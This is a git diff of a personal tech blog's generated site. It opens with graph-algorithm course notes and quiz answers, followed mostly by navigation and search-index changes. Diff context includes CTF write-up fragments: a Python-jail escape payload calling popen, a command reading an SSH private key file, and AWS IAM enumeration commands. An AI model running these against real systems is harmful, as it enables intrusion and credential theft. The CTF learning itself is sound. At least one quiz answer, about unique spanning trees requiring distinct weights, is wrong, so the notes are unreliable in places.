-    edges.sort()
-
-    for d, u, v in edges:
-        if component[v] == component[u]:
-            continue
-        sum += d
-        c = component[u]
-        for ckey, cval in component.items():
-            if cval == c:
-                component[ckey] = component[v]
-
-    return sum
-

2

The shorted walk from src to dst while bouncing off the bounce node. We are using Bellman-Ford because simple is good.

We can find the shortest path from bounce to each of src and dst and then add up those two paths (both the path sequence and the weight).

def min_cost_walk(wl, src, dest, bounce):
-    dist, parent = {}, {}
-    for u in wl.keys():
-        dist[u] = 1e6 # close to infinity
-    dist[bounce] = 0
-
-    for _ in range(len(wl)):
-        for u, edges in wl.items():
-            for v, weight in edges:
-                if dist[u] + weight < dist[v]:
-                    dist[v] = dist[u] + weight
-                    parent[v] = u
-
-    path = []
-    revpath = []
-    distance = dist[src] + dist[dest]
-    while src != bounce:
-        path.append(src)
-        src = parent[src]
-
-    path.append(bounce)
-    while dest != bounce:
-        revpath.append(dest)
-        dest = parent[dest]
-
-    return distance, path + revpath[::-1]
-

3

Here again, we are using Bellman-Ford. Remember from the activity question answers that if there are any relaxations in the nthn_{th} iteration, -there exists a negative cycle in the graph.

def IsNegativeWeightCyclePresent(wl):
-    n = len(wl)
-    dist = {}
-    parent = {}
-    for u in wl:
-        dist[u] = 1e6
-    dist[u] = 0 # the node to start with
-
-    for i in range(n):
-        for u, edges in wl.items():
-            for v, weight in edges:
-                if dist[u] + weight < dist[v]:
-                    if i == n - 1:
-                        return True
-                    dist[v] = dist[u] + weight
-                    parent[v] = u
-
-    return False
-

GA

1

At each step of Dijkstra’s algorithm, after a vertex has been processed, how does the algorithm determine which unvisited vertex to process next?

Answer: It picks the unvisited vertex that has the smallest current shortest distance from the source.

2

Which of the following statements correctly describes how the Bellman-Ford algorithm detects the presence of a negative cycle reachable from the source? Consider that V is the number of vertices in the graph.

Answer: If, during a Vth pass over all edges, any distance value can still be improved (i.e., an edge relaxation occurs).

3

A graph has 4 vertices (V1, V2, V3, V4) and the following edges:

  • V1 → V2 (weight = 2)
  • V2 → V3 (weight = -3)
  • V3 → V1 (weight = 0)
  • V1 → V4 (weight = 5)

If Bellman-Ford starts from V1, after running the algorithm for all necessary passes, how many vertices will have their shortest distance updated in the final (4-th) pass used for negative cycle detection?

Answer: 3

4

Consider any connected graph with 4 vertices and 6 edges, where all edge weights are distinct. In such a graph, the three edges with the smallest weights will always be part of its Minimum Spanning Tree (MST).

Answer: False

5

A graph can have a unique Minimum Spanning Tree (MST) only if all its edge weights are distinct

Answer: True

6

Suppose we run Prim’s algorithm and Kruskal’s algorithm on a graph G and these two algorithms -produce minimum-cost spanning trees TPT_P and TKT_K, respectively.

(I) TPT_P may be different from TKT_K if some pair of edges in G have the same weight.

(II) TPT_P is always the same as TKT_K if all edges in G have distinct weights.

Answer: Both (I) and (II) are correct.

7

Which one of the following can be the sequence of edges added, in that order, to create a minimum spanning tree using Kruskal’s algorithm?

Answers:

  1. (a,b) (d,f) (b,f) (d,c) (d,e)
  2. (a,b) (d,f) (d,c) (b,f) (d,e)
  3. (d,f) (a,b) (d,c) (b,f) (d,e)
  1. (d,f) (a,b) (b,f) (d,c) (d,e)

8

Consider the given weighted adjacency matrix ww for a complete undirected graph with vertex -set {0,1,2,3,4}\{0, 1, 2, 3, 4\}. Where w[i][j]w[i][j], iji \neq j in the matrix is the weight of the edge -(i,j)(i,j).

w=(018141012498120731470249320)w = \begin{pmatrix} -0 & 1 & 8 & 1 & 4 \\ -1 & 0 & 12 & 4 & 9 \\ -8 & 12 & 0 & 7 & 3 \\ -1 & 4 & 7 & 0 & 2 \\ -4 & 9 & 3 & 2 & 0 -\end{pmatrix}

What is the weight of the minimum spanning tree for the given graph?

Answer: 7

9

Which of the following statement(s) is/are true about the spanning tree of a connected graph?

Answers:

  • A spanning tree is a connected acyclic graph.
  • A spanning tree for an n vertex graph has exactly n-1 edges.
  • Adding an edge to a spanning tree must create a cycle.
  • In a spanning tree, every pair of nodes is connected by a unique path

10

Consider the following weighted adjacency list WList for a directed and connected graph. What will be the path weight of the shortest path from 1 to 3?

WList = {
-  #source: [(destination, weight),...]
-  1: [(2, 10), (8, 8)],
-  2: [(6, 2)],
-  3: [(2, 1), (4, 1)],
-  4: [(5, 3)],
-  5: [(6, -1)],
-  6: [(3, -2)],
-  7: [(2, -4), (6, -1)],
-  8: [(7, 1)]
-}
-

Answer: 5

11

Consider a complete undirected graph with vertex set {0, 1, 2, 3, 4}. Every entry W[i][j] where i≠j in the matrix W below is the weight of the edge from vertex i to vertex j.

w=(018141012498120731470249320)w = \begin{pmatrix} -0 & 1 & 8 & 1 & 4 \\ -1 & 0 & 12 & 4 & 9 \\ -8 & 12 & 0 & 7 & 3 \\ -1 & 4 & 7 & 0 & 2 \\ -4 & 9 & 3 & 2 & 0 -\end{pmatrix}

Answer: 4

12

In the given graph, if we try to find the shortest path from node a to all other nodes using Dijkstra’s algorithm, in what order do the nodes get included in the visited set?

Answer: a e d c b g f h

13

Consider the given graph. Which of the following is the correct sequence of edges added to the minimum spanning tree when Prim’s algorithm is applied on this graph with 5 as the source vertex?

Answer: [(5,1),(1,2),(2,3),(3,4)]

14

In the context of the Floyd-Warshall algorithm, what does it mean if the distance matrix has a negative value in its diagonal?

Answer: The graph has a negative-weight cycle.

15

Consider the graph G given. Let -α denote the number of minimum spanning trees of G and -β denote the weight of such a minimum spanning tree. The value of -α+β is

Answer: 14

\ No newline at end of file diff --git a/page/2/index.html b/page/2/index.html index 9eb9593e..99bd3622 100644 --- a/page/2/index.html +++ b/page/2/index.html @@ -1,4 +1,10 @@ -lavafroth

Wrapping up GSoC 2024


EBNF +lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/page/3/index.html b/page/3/index.html index df3dca8c..bd0d9165 100644 --- a/page/3/index.html +++ b/page/3/index.html @@ -1,4 +1,10 @@ -lavafroth

Edge cases? You Shall Not Pass!


EBNF +lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/page/4/index.html b/page/4/index.html index 94663076..cd287ad0 100644 --- a/page/4/index.html +++ b/page/4/index.html @@ -1,4 +1,7 @@ -lavafroth

Compact XOR


AmateursCTF +lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/page/5/index.html b/page/5/index.html index 4b271a87..5b281427 100644 --- a/page/5/index.html +++ b/page/5/index.html @@ -1,4 +1,10 @@ -lavafroth

Treebox


Google CTF +lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/page/6/index.html b/page/6/index.html index 41bfe2a2..5e2514ae 100644 --- a/page/6/index.html +++ b/page/6/index.html @@ -1,4 +1,9 @@ -lavafroth

Liberating 14GiB of disk space


Powershell +lavafroth

Notepad


CTF @@ -10,4 +15,4 @@
\ No newline at end of file +Next Page
\ No newline at end of file diff --git a/pagefind/fragment/en-us_12bc273.pf_fragment b/pagefind/fragment/en-us_12bc273.pf_fragment deleted file mode 100644 index e81849ae..00000000 Binary files a/pagefind/fragment/en-us_12bc273.pf_fragment and /dev/null differ diff --git a/pagefind/fragment/en-us_2725464.pf_fragment b/pagefind/fragment/en-us_2725464.pf_fragment new file mode 100644 index 00000000..2eb9eae1 Binary files /dev/null and b/pagefind/fragment/en-us_2725464.pf_fragment differ diff --git a/pagefind/fragment/en-us_80c2b8a.pf_fragment b/pagefind/fragment/en-us_80c2b8a.pf_fragment deleted file mode 100644 index 315193d8..00000000 Binary files a/pagefind/fragment/en-us_80c2b8a.pf_fragment and /dev/null differ diff --git a/pagefind/fragment/en-us_bc8ea43.pf_fragment b/pagefind/fragment/en-us_bc8ea43.pf_fragment deleted file mode 100644 index 2635e4f9..00000000 Binary files a/pagefind/fragment/en-us_bc8ea43.pf_fragment and /dev/null differ diff --git a/pagefind/fragment/en-us_e1c4bd5.pf_fragment b/pagefind/fragment/en-us_e1c4bd5.pf_fragment deleted file mode 100644 index 240034c9..00000000 Binary files a/pagefind/fragment/en-us_e1c4bd5.pf_fragment and /dev/null differ diff --git a/pagefind/index/en-us_11d13a7.pf_index b/pagefind/index/en-us_11d13a7.pf_index deleted file mode 100644 index fa23312f..00000000 Binary files a/pagefind/index/en-us_11d13a7.pf_index and /dev/null differ diff --git a/pagefind/index/en-us_31de252.pf_index b/pagefind/index/en-us_31de252.pf_index new file mode 100644 index 00000000..d8d41095 Binary files /dev/null and b/pagefind/index/en-us_31de252.pf_index differ diff --git a/pagefind/index/en-us_5d26328.pf_index b/pagefind/index/en-us_5d26328.pf_index deleted file mode 100644 index 461d2ec3..00000000 Binary files a/pagefind/index/en-us_5d26328.pf_index and /dev/null differ diff --git a/pagefind/index/en-us_5ff8add.pf_index b/pagefind/index/en-us_5ff8add.pf_index new file mode 100644 index 00000000..ae7a3aac Binary files /dev/null and b/pagefind/index/en-us_5ff8add.pf_index differ diff --git a/pagefind/index/en-us_98a180f.pf_index b/pagefind/index/en-us_98a180f.pf_index new file mode 100644 index 00000000..7d78ef6b Binary files /dev/null and b/pagefind/index/en-us_98a180f.pf_index differ diff --git a/pagefind/index/en-us_9940fc9.pf_index b/pagefind/index/en-us_9940fc9.pf_index deleted file mode 100644 index 074a70c9..00000000 Binary files a/pagefind/index/en-us_9940fc9.pf_index and /dev/null differ diff --git a/pagefind/index/en-us_9d9987e.pf_index b/pagefind/index/en-us_9d9987e.pf_index deleted file mode 100644 index 151960b3..00000000 Binary files a/pagefind/index/en-us_9d9987e.pf_index and /dev/null differ diff --git a/pagefind/index/en-us_acb0996.pf_index b/pagefind/index/en-us_acb0996.pf_index deleted file mode 100644 index 0f3abbd1..00000000 Binary files a/pagefind/index/en-us_acb0996.pf_index and /dev/null differ diff --git a/pagefind/index/en-us_dd6d475.pf_index b/pagefind/index/en-us_dd6d475.pf_index deleted file mode 100644 index 7a72749a..00000000 Binary files a/pagefind/index/en-us_dd6d475.pf_index and /dev/null differ diff --git a/pagefind/index/en-us_de803b2.pf_index b/pagefind/index/en-us_de803b2.pf_index new file mode 100644 index 00000000..6a62450a Binary files /dev/null and b/pagefind/index/en-us_de803b2.pf_index differ diff --git a/pagefind/index/en-us_e9efbf9.pf_index b/pagefind/index/en-us_e9efbf9.pf_index new file mode 100644 index 00000000..93f79e94 Binary files /dev/null and b/pagefind/index/en-us_e9efbf9.pf_index differ diff --git a/pagefind/index/en-us_fcec4af.pf_index b/pagefind/index/en-us_fcec4af.pf_index new file mode 100644 index 00000000..17b6a091 Binary files /dev/null and b/pagefind/index/en-us_fcec4af.pf_index differ diff --git a/pagefind/pagefind-entry.json b/pagefind/pagefind-entry.json index 6c89d716..6309cfb8 100644 --- a/pagefind/pagefind-entry.json +++ b/pagefind/pagefind-entry.json @@ -1 +1 @@ -{"version":"1.0.3","languages":{"en-us":{"hash":"en-us_3cbf2253331fd","wasm":"en-us","page_count":59}}} \ No newline at end of file +{"version":"1.0.3","languages":{"en-us":{"hash":"en-us_56fbca3d5e149","wasm":"en-us","page_count":56}}} \ No newline at end of file diff --git a/pagefind/pagefind.en-us_3cbf2253331fd.pf_meta b/pagefind/pagefind.en-us_3cbf2253331fd.pf_meta deleted file mode 100644 index 00216bd7..00000000 Binary files a/pagefind/pagefind.en-us_3cbf2253331fd.pf_meta and /dev/null differ diff --git a/pagefind/pagefind.en-us_56fbca3d5e149.pf_meta b/pagefind/pagefind.en-us_56fbca3d5e149.pf_meta new file mode 100644 index 00000000..25daeb3c Binary files /dev/null and b/pagefind/pagefind.en-us_56fbca3d5e149.pf_meta differ diff --git a/post/2-afternoons-2-languages-2-tuis/index.html b/post/2-afternoons-2-languages-2-tuis/index.html index c4a8fc5f..637cbe08 100644 --- a/post/2-afternoons-2-languages-2-tuis/index.html +++ b/post/2-afternoons-2-languages-2-tuis/index.html @@ -63,4 +63,4 @@ and the Rust project here.

Unt YouTube Animation Manim

\ No newline at end of file +A SWEET Little Parser \ No newline at end of file diff --git a/post/a-sweet-little-config-parser/index.html b/post/a-sweet-little-config-parser/index.html index 82462bd7..e7e294d9 100644 --- a/post/a-sweet-little-config-parser/index.html +++ b/post/a-sweet-little-config-parser/index.html @@ -64,4 +64,4 @@ The demo repo called sweet (simpl SWHKD EBNF Google Summer of Code \ No newline at end of file +Wayland Tools Rock! \ No newline at end of file diff --git a/post/a-tale-of-a-frugal-home-server/index.html b/post/a-tale-of-a-frugal-home-server/index.html index bb33f38c..50f77134 100644 --- a/post/a-tale-of-a-frugal-home-server/index.html +++ b/post/a-tale-of-a-frugal-home-server/index.html @@ -38,4 +38,4 @@ if it isn’t already. That’s it!

Sysadmins need not apply.

< Automation Jellyfin Photoprism \ No newline at end of file +NixOS Secureboot Shenanigans \ No newline at end of file diff --git a/post/abstracting-structured-patterns-in-concurrent-programming/index.html b/post/abstracting-structured-patterns-in-concurrent-programming/index.html index e6909301..a4c23db6 100644 --- a/post/abstracting-structured-patterns-in-concurrent-programming/index.html +++ b/post/abstracting-structured-patterns-in-concurrent-programming/index.html @@ -52,9 +52,9 @@ channel.

The macro would use the quote! macro to genera variant like the following:

quote!(
     match #enum_ident {
         // loop over the arms in the macro call
-        #variant(#inner) => #inner_chan_tx.send(#inner);
+        #variant(#inner) => #inner_chan_tx.send(#inner);
         // ...
-    }
+    }
 )
 

Using the match statement inside the generated code allows the default exhaustive checking of the variants. Programmers have the choice to explicitly opt out of @@ -75,4 +75,4 @@ and determine when it is ready to be sent off to the next layer.

That’s all for now. Bye!

\ No newline at end of file +Headache \ No newline at end of file diff --git a/post/algebraic-python-enums/index.html b/post/algebraic-python-enums/index.html index 744faa8c..4b4369cb 100644 --- a/post/algebraic-python-enums/index.html +++ b/post/algebraic-python-enums/index.html @@ -208,4 +208,5 @@ enums also play nicely with static type checkers, goto-definitions will lead you to the correct class definition.

I have packaged this decorator with a couple more typing restrictions into a library at github:lavafroth/ape.

I hope you enjoyed this foray into contorting Python.

\ No newline at end of file +Algebraic Data Types \ No newline at end of file diff --git a/post/android-phone-for-webcam-nixos/index.html b/post/android-phone-for-webcam-nixos/index.html index 756c6ab3..6cd11818 100644 --- a/post/android-phone-for-webcam-nixos/index.html +++ b/post/android-phone-for-webcam-nixos/index.html @@ -50,4 +50,4 @@ see you around!

\ No newline at end of file +Kringlecon 2023 Writeup \ No newline at end of file diff --git a/post/changing-recents-provider-on-eos/index.html b/post/changing-recents-provider-on-eos/index.html index 73beb6ad..ccea5229 100644 --- a/post/changing-recents-provider-on-eos/index.html +++ b/post/changing-recents-provider-on-eos/index.html @@ -22,4 +22,4 @@ I started using Lawnchair as my default launcher but this did not change the rec /e/OS QuickSwitch QuickStep \ No newline at end of file +Easy grep to detect stripped Go binaries \ No newline at end of file diff --git a/post/compact-xor-crypto-challenge-amateursctf-2023/index.html b/post/compact-xor-crypto-challenge-amateursctf-2023/index.html index b8bf84e4..2e5496a6 100644 --- a/post/compact-xor-crypto-challenge-amateursctf-2023/index.html +++ b/post/compact-xor-crypto-challenge-amateursctf-2023/index.html @@ -58,4 +58,4 @@ we can now reverse this transformation by xoring them back with \ No newline at end of file +Volcano \ No newline at end of file diff --git a/post/cuda-on-nixos-without-sacrificing-ones-sanity/index.html b/post/cuda-on-nixos-without-sacrificing-ones-sanity/index.html index f8424675..110a7b40 100644 --- a/post/cuda-on-nixos-without-sacrificing-ones-sanity/index.html +++ b/post/cuda-on-nixos-without-sacrificing-ones-sanity/index.html @@ -70,10 +70,10 @@ to use the default bash.

The flake

}

Note: This is NOT the same as containers. The most obvious way to tell is because you can access your NVIDIA GPU as is, without any passthrough shenanigans.

Enter this flake development environment using nix develop.

Setting up PyTorch

Now that we have the scaffolding, we can use micromamba to install CUDA for our ML tooling.

micromamba env create \
-    -n my-environment \
-    anaconda::cudatoolkit \
-    anaconda::cudnn \
-    "anaconda::pytorch=*=*cuda*"
+    -n my-environment \
+    anaconda::cudatoolkit \
+    anaconda::cudnn \
+    "anaconda::pytorch=*=*cuda*"
 

Here I’m creating an environment called my-environment with cudatoolkit, cudnn and PyTorch. While installing PyTorch, make sure to pick a version whose name contains “cuda” like I did here, otherwise, it defaults to the CPU version.

You can also define a micromamba environment with a config file. Read more about it here.

Once the env gets created, use micromamba activate my-environment to hop right in. Profit!

Conclusion

Although this is not the Nix way of doing things, with micromamba being imeperative, this is probably the quickest and most hassle free experience to start ML stuff on NixOS. I’ve seen quite a lot of friends giving up on NixOS because of how annoying closed source libraries like CUDA can be.

Share this article around if you found this hacky approach to have improved your developer experience. I’m banking on open source alternatives to pick up steam @@ -85,4 +85,4 @@ so that hopefully this article becomes irrelevant in the future.

Bye now.< NVIDIA CUDA Rant

\ No newline at end of file +How I Use SWHKD in My Workflow \ No newline at end of file diff --git a/post/detecting-stripped-go-binaries/index.html b/post/detecting-stripped-go-binaries/index.html index 0b6ecabd..a0c68a22 100644 --- a/post/detecting-stripped-go-binaries/index.html +++ b/post/detecting-stripped-go-binaries/index.html @@ -8,4 +8,4 @@ An environment variable that all Go programs recognize, you say? I had a sneakin

Ok bye.

\ No newline at end of file +Need a hand? \ No newline at end of file diff --git a/post/do-you-really-need-a-copilot/index.html b/post/do-you-really-need-a-copilot/index.html index 4678d069..09f9acb1 100644 --- a/post/do-you-really-need-a-copilot/index.html +++ b/post/do-you-really-need-a-copilot/index.html @@ -5,4 +5,4 @@ Context aware autocompletes happen when the model watches your code so it can su AI Rant Copilot \ No newline at end of file +In search of the smallest DNA complement function \ No newline at end of file diff --git a/post/edge-cases-you-shall-not-pass/index.html b/post/edge-cases-you-shall-not-pass/index.html index 2688c88d..d3d945c0 100644 --- a/post/edge-cases-you-shall-not-pass/index.html +++ b/post/edge-cases-you-shall-not-pass/index.html @@ -40,7 +40,7 @@ them.

        return s;
     };
     // Pest guarantees this for us. Still keeping a bit of sanity check.
-    assert!(matches!(ch, '{' | '}' | ',' | '\\' | '-' | '+' | '~' | '@'));
+    assert!(matches!(ch, '{' | '}' | ',' | '\\' | '-' | '+' | '~' | '@'));
     &s[1..]
 }
 

With this new function, our parser correctly unescapes the keys like so:

Binding [Modifier("super"), Key { key: "+", attribute: KeyAttribute(0x0) }] → mpv ~/Music
@@ -51,4 +51,4 @@ the next post because fixing this bug and keeping logs of why I did it felt more
 SWHKD
 Waycrate
 Wayland
\ No newline at end of file
+Timing is Key: A Tale of Keystrokes and Timings
\ No newline at end of file
diff --git a/post/gadgeting-in-python-jails/index.html b/post/gadgeting-in-python-jails/index.html
index 0f93e269..eb06ad8c 100644
--- a/post/gadgeting-in-python-jails/index.html
+++ b/post/gadgeting-in-python-jails/index.html
@@ -106,4 +106,4 @@ of them, thereby executing the system commands.

.popen('id').read()
 

There you have it! This payload will work as long as there is at least one subclass in the subclasses list which makes use of sys. With that, our object oriented quest has come to an end.

Thanks for giving this a read!

\ No newline at end of file +Sandbox Escape \ No newline at end of file diff --git a/post/google-ctf-2022-treebox/index.html b/post/google-ctf-2022-treebox/index.html index 6bd7c703..f43bc591 100644 --- a/post/google-ctf-2022-treebox/index.html +++ b/post/google-ctf-2022-treebox/index.html @@ -42,4 +42,4 @@ same file read independent of the sys module.

Python AST Sandbox Escape \ No newline at end of file +I Saw a Little Elf \ No newline at end of file diff --git a/post/headache-reverse-engineering-amateursctf-2023/index.html b/post/headache-reverse-engineering-amateursctf-2023/index.html index 5613fdb8..1485f826 100644 --- a/post/headache-reverse-engineering-amateursctf-2023/index.html +++ b/post/headache-reverse-engineering-amateursctf-2023/index.html @@ -139,4 +139,4 @@ We also allocate a list of 61 None singletons since the program exi
\ No newline at end of file +Compact XOR \ No newline at end of file diff --git a/post/how-i-use-swhkd-in-my-workflow/index.html b/post/how-i-use-swhkd-in-my-workflow/index.html index cf1875a4..95afef7d 100644 --- a/post/how-i-use-swhkd-in-my-workflow/index.html +++ b/post/how-i-use-swhkd-in-my-workflow/index.html @@ -40,4 +40,4 @@ my videos. Bye!

\ No newline at end of file +Polishing and Bugfix Week \ No newline at end of file diff --git a/post/humans-suck-at-command-sanitization/index.html b/post/humans-suck-at-command-sanitization/index.html index fdb5f928..a94edcbd 100644 --- a/post/humans-suck-at-command-sanitization/index.html +++ b/post/humans-suck-at-command-sanitization/index.html @@ -51,4 +51,4 @@ commands in the code side of this endeavor. See you around.

\ No newline at end of file +Preventing Infinite Recursions From Eating Your Lunch \ No newline at end of file diff --git a/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/index.html b/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/index.html index 4d381ea5..a7b1a8d0 100644 --- a/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/index.html +++ b/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/index.html @@ -52,4 +52,4 @@ or System76. I just like what they are doing and I recommend saving up a bit to Linux Laptops Kernel Modules \ No newline at end of file +Modeling More Realistic Keybinds With Modifiers \ No newline at end of file diff --git a/post/i-switched-to-nixos/index.html b/post/i-switched-to-nixos/index.html index f51358b8..9205d163 100644 --- a/post/i-switched-to-nixos/index.html +++ b/post/i-switched-to-nixos/index.html @@ -26,4 +26,4 @@ The whole learning experience as well as daily driving NixOS has been very enjoy to get started. Once you have a rough idea, you could check out my own NixOS configuration files. Maybe you can incorporate a part of the config you find interesting into your own.

Happy Nixing!

\ No newline at end of file +Twosum \ No newline at end of file diff --git a/post/in-search-of-the-smallest-dna-compl/index.html b/post/in-search-of-the-smallest-dna-compl/index.html index 0bf77cd2..a0c3e389 100644 --- a/post/in-search-of-the-smallest-dna-compl/index.html +++ b/post/in-search-of-the-smallest-dna-compl/index.html @@ -167,4 +167,4 @@ this differently by shooting me an email!

Bye now.

\ No newline at end of file +Building an in-browser Manim clone \ No newline at end of file diff --git a/post/index.html b/post/index.html index fb73f6ec..367b15c2 100644 --- a/post/index.html +++ b/post/index.html @@ -1,4 +1,4 @@ -Posts - lavafroth

Algebraic Python Enums


Python +Posts - lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/post/index.xml b/post/index.xml index b4a7d7d2..968de565 100644 --- a/post/index.xml +++ b/post/index.xml @@ -1,4 +1,10 @@ -Posts on lavafrothhttps://lavafroth.is-a.dev/post/Recent content in Posts on lavafrothHugoen-usSun, 02 Nov 2025 19:08:46 +0530Algebraic Python Enumshttps://lavafroth.is-a.dev/post/algebraic-python-enums/Sun, 02 Nov 2025 19:08:46 +0530https://lavafroth.is-a.dev/post/algebraic-python-enums/<p>University has compelled me to use Python despite my preference for Rust, +Posts on lavafrothhttps://lavafroth.is-a.dev/post/Recent content in Posts on lavafrothHugoen-usThu, 01 Jan 2026 07:24:36 +0530Working With LUKS File Stasheshttps://lavafroth.is-a.dev/post/working-with-luks-file-stashes/Thu, 01 Jan 2026 07:24:36 +0530https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/<p><code>THIS POST IS A DRAFT</code></p> +<p>LUKS is an incredible solution for encrypting entire partitions in Linux. +Often times, however, we can&rsquo;t afford to create new partitions inside a disk +without having to completely format the drive anew.</p> +<p>In this post, I will guide you through the process of creating and working +with LUKS container files that are encrypted at rest and can be decrypted on +demand with knowledge of the passphrase.</p>Algebraic Python Enumshttps://lavafroth.is-a.dev/post/algebraic-python-enums/Sun, 02 Nov 2025 19:08:46 +0530https://lavafroth.is-a.dev/post/algebraic-python-enums/<p>University has compelled me to use Python despite my preference for Rust, primarily due to the machine learning and data science hype. One Rust feature that I dearly miss is enumerable data types that can encapsulate various other data types.</p> @@ -649,7 +655,7 @@ easy to setup Arch for gaming, thanks to programs like <a href="https://lutri code for the program running on the remote server:</p> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> </span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e"> -</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">addIntOvf</span>(<span style="color:#66d9ef">int</span> result, <span style="color:#66d9ef">int</span> a, <span style="color:#66d9ef">int</span> b) { </span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> a <span style="color:#f92672">+</span> b; </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(a <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> b <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> result <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) diff --git a/post/keep-the-keys-clackin/index.html b/post/keep-the-keys-clackin/index.html index 37f24cb5..815e905a 100644 --- a/post/keep-the-keys-clackin/index.html +++ b/post/keep-the-keys-clackin/index.html @@ -67,4 +67,4 @@ attributes that describe the timing of a keypress and how we handle the grammar SWHKD Waycrate Wayland \ No newline at end of file +2 Afternoons, 2 Languages, 2 TUIs \ No newline at end of file diff --git a/post/kringlecon-2022-writeup/index.html b/post/kringlecon-2022-writeup/index.html index 164cc192..e246fb14 100644 --- a/post/kringlecon-2022-writeup/index.html +++ b/post/kringlecon-2022-writeup/index.html @@ -36,14 +36,14 @@ filesystem. The challenge introduction talked something about keys:

Among the files listed, we can find /mnt/vda/home/jailer/.ssh/jail.key.priv whose contents can be listed by running:

cat /mnt/vda/home/jailer/.ssh/jail.key.priv
 

This gives us the key 082bb339ec19de4935867 which can be submitted in our objectives section.

Wireshark Phishing

We begin by saying yes to the challenge, downloading the PCAP file and opening it up in wireshark. The following are the questions, their answers and explanations.

  1. There are objects in the PCAP file that can be exported by Wireshark and/or Tshark. What type of objects can be exported from this PCAP?

    Answer: HTTP

    Explanation: We can go to File > Export Objects > HTTP ...

Exporting HTTP objects

  1. What is the file name of the largest file we can export?

    Answer: app.php

    Explanation: In the export objects dialog, we notice the second entry with the largest size (808 kB) has the name app.php

Screenshot-from-2022-12-11-20-19-50.png

  1. What packet number starts that app.php file?

    Answer: 687

    Explanation: Right before the entry’s name, we see it starts from packet 687

  2. What is the IP of the Apache server?

    Answer: 192.185.57.242

    Explanation: We use the http filter in wireshark. We notice right at the first filtered entry, a GET request goes to 192.185.57.242

Screenshot-from-2022-12-11-20-21-06.png

  1. What file is saved to the infected host?

    Answer: Ref_Sept24-2020.zip

    Explanation: At packet 687, we can inspect the line-based text data for the HTTP response and the embedded script seems to save a blob to the file ‘Ref_Sept24-2020.zip’.

Screenshot-from-2022-12-11-20-23-02.png

// --{snip}--
-    let byteNumbers = new Array(byteCharacters.length);
+    let byteNumbers = new Array(byteCharacters.length);
     for (let i = 0; i < byteCharacters.length; i++) {
         byteNumbers[i] = byteCharacters.charCodeAt(i);
     }
     let byteArray = new Uint8Array(byteNumbers);
     
     // now that we have the byte array, construct the blob from it
-    let blob1 = new Blob([byteArray], {type: 'application/octet-stream'});
+    let blob1 = new Blob([byteArray], {type: 'application/octet-stream'});
 
     saveAs(blob1, 'Ref_Sept24-2020.zip');
 	
@@ -181,7 +181,7 @@ Default output format [None]:
     "IsTruncated": false
 }
 

Now we are asked to get the policy attached to our user. We will use the get-policy subcommand and supply the value of the PolicyArn field from the previous output to the --policy-arn flag.

aws iam get-policy \
---policy-arn "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
+--policy-arn "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
 
{
     "Policy": {
         "PolicyName": "TIER1_READONLY_POLICY",
@@ -199,8 +199,8 @@ Default output format [None]:
     }
 }
 

We need to view the default version of the policy.

aws iam get-policy-version \
---policy-arn "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY" \
---version-id v1
+--policy-arn "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY" \
+--version-id v1
 
{
     "PolicyVersion": {
         "Document": {
@@ -493,7 +493,7 @@ Just in case they try this again, please alert on that HTTP data with message Su
 We submit this in our set of objectives and that solves this challenge. Easy? I’ll take it.

Exploit a Smart Contract

This challenge asks us to exploit flaws in a smart contract to buy ourselves a Bored Sporc NFT. Let’s go to the presale page of The Bored Sporc Rowboat Society. The presale price for a Sporc is 100 KringleCoin (KC). At this point, I checked my wallet balance and it turned out to be 455 KC, enough to buy 4 of these NFTs. First we have to pre-approve 100 KC to the address provided. Looking at the source code of the presale page (hit ^u or follow the images), especially https://boredsporcrowboatsociety.com/bsrs.js, we find that the root address of the Merkle tree is being sent in the AJAX POST request.

Screenshot-from-2022-12-12-10-45-37.png

Screenshot-from-2022-12-12-10-50-19.png

Check out the last line of the following snippet from bsrs.js:

// --{snip}--
-
+
 		var address = document.getElementById("wa").value;
 		var proof = document.getElementById('proof').value;
 		var root = '0x52cfdfdcba8efebabd9ecc2c60e6f482ab30bdc6acf8f9bd0600de83701e15f1';
@@ -637,4 +637,4 @@ dialogues.

\ No newline at end of file +Pixelated \ No newline at end of file diff --git a/post/kringlecon-2023-writeup/index.html b/post/kringlecon-2023-writeup/index.html index d9c1d869..9e5e357e 100644 --- a/post/kringlecon-2023-writeup/index.html +++ b/post/kringlecon-2023-writeup/index.html @@ -416,7 +416,7 @@ scanned 1 barcode symbols from 1 images in 0.28 seconds

The QR code links to https://8bitelf.com which has the text

flag:santaconfusedgivingplanetsqrcode
 

We can submit the flag in our objectives to mark this complete.

Elf the Dwarf’s, Gloriously, Unfinished, Adventure! - Vol2

Tinsel Upatree tells us: “Did you know that many games had multiple versions released? Word is: volume 2 has 2 versions!”

Hint:

  1. This feels the same, but different!
  2. If it feels like you are going crazy, you probably are! Or maybe, just maybe, you’ve not yet figured out where the hidden ROM is hiding.
  3. I think I may need to get a DIFFerent perspective.
